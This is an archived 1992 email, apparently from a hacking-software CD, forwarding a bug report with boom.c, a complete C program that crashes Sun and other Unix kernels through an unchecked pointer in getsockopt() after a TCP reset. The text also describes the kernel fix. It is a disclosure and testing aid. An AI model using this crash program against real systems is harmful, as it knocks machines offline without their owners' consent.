home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hacks & Cracks
/
Hacks_and_Cracks.iso
/
hackersguides-&-software
/
boom.zip
/
BOOM.C
Wrap
Internet Message Format
|
1993-06-30
|
6KB
Date: Fri, 03 Jan 92 17:00:30 EST
From: Gene Spafford <spaf@cs.purdue.edu>
This program crashes Suns and AT&T machines. It may also crash BSD
and Ultrix machines. You may (or may not) want to consider the fix.
If nothing else, this program is going to be out there, so you might
want to be on the lookout for any suspcious machine crashes.
--spaf
------- Forwarded Message
Date: Fri, 03 Jan 92 13:53:13 -0800
From: shj@ultra.com (Steve Jay {Ultra Unix SW Mgr})
Subject: system crasher [shj@ultra.com (Steve Jay {Ultra Unix SW Mgr}): system crasher]
Thanks for volunteering. The test program is attached to the end of this
message. You compile and execute it with just
% cc -o boom boom.c
% ./boom
Please run the test on whatever systems you care to, and send me the
results.
For a system that has the bug fixed, the output will be something like
> using port 1025
> getpeer sts -1, errno 123
> getsockopt: Invalid argument
The "getpeer sts..." msg may appear several times.
On systems with the bug, the system will crash on the getsockopt().
The bug is in the kernel routines that processes the getsockopt() system
call [tcp_ctlouput() and ip_ctloutput()]. The routines use the "so_pcb"
field from the socket structure without checking it for 0. If a TCP
RESET has been received on a connection, the in_pcb and tcpcb structures
will have been deleted, and the so_pcb field is 0.
The program forces a RESET to be sent by writing to a connection after
the other side has closed its end of the connection. The getpeername()
system call has code in it to correctly test for a 0 in_pcb value, in
which case it returns ENOTCONN. So, the program writes to the socket
and does getpeername() calls until the getpeername() fails. It then
does the getsockopt() call.
The bug fix is easy...add code to the beginning of the tcp_ctloutput()
and ip_ctloutput() routines similar to the code at the beginning of the
tcp_usrreq() routine to check [under splnet()], for 0 in the so_pcb field.
BTW, I didn't discover this bug. One of Ultra's customers sent us a
crash dump from their Sun system, believing that the crash was caused
by our software. After looking at the dump, I was able to come up with
this test program, which crashes any Sun, regardless of whether Ultra's
software is installed.
Also BTW, the bug appears to be fixed on SGI IRIX and IBM AIX (both
370 and RS6000 versions). However, the fix may not be completely
correct, as the SGI version doesn't appear to do splnet() before
doing the check for 0, which I believe leaves a tiny window for the
crash, if the TCP RESET comes in just as the user does the getsockopt().
The fact that it's (at least partiallly) fixed on these systems may
mean the bug isn't as pervasive as I thought.
I have reported the bug, including test program and fix, to Sun. I'm
waiting for a response.
Thanks for your help.
Steve Jay
shj@ultra.com ...ames!ultra!shj
Ultra Network Technologies / 101 Dagget Drive / San Jose, CA 95134 / USA
(408) 922-0100 x130 "Home of the 1 Gigabit/Second network"
============================ boom.c =======================================
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
void
pexit(s)
char *s;
{
perror(s);
exit(1);
}
int
get_local_port(s)
int s;
{
int port;
struct sockaddr_in a;
for (port = IPPORT_RESERVED; port < IPPORT_USERRESERVED; port++) {
bzero((char *)&a, sizeof(a));
a.sin_family = AF_INET;
a.sin_addr.s_addr = INADDR_ANY;
a.sin_port = port;
if (bind(s, (struct sockaddr *)&a, sizeof(a))) {
if (errno != EADDRINUSE) {
pexit("bind");
}
} else {
printf("using port %d\n", port);
return(port);
}
}
fprintf(stderr, "can't get a port\n");
exit(1);
}
void
do_connect(port)
int port;
{
int s;
struct sockaddr_in a;
sleep(1);
if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
pexit("socket2");
}
bzero((char *)&a, sizeof(a));
a.sin_family = AF_INET;
a.sin_addr.s_addr = INADDR_LOOPBACK;
a.sin_port = port;
if (connect(s, (struct sockaddr *)&a, sizeof(a)) == -1) {
pexit("connect");
}
exit(0);
}
main()
{
int s,
ns,
sts,
len,
pid,
port;
extern int errno;
struct sockaddr_in a;
if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
pexit("socket");
}
port = get_local_port(s);
if (listen(s, 1) == -1) {
pexit("listen");
}
if ((pid = fork()) == -1 ) {
pexit("fork");
} else if (pid == 0) {
do_connect(port);
}
len = sizeof(a);
if((ns = accept(s, (struct sockaddr *)&a, &len)) == -1) {
pexit("accept");
}
do {
write(ns, (char *)&a, sizeof(a));
len = sizeof(a);
errno = 0;
sts = getpeername(ns, (struct sockaddr *)&a, &len);
printf("getpeer sts %d, errno %d\n", sts, errno);
sleep(1);
} while (sts == 0);
len = sizeof(a);
if (getsockopt(ns, IPPROTO_IP, IP_OPTIONS, (char *)&a, &len) == -1) {
pexit("getsockopt");
}
exit(0);
}
------- End of Forwarded Message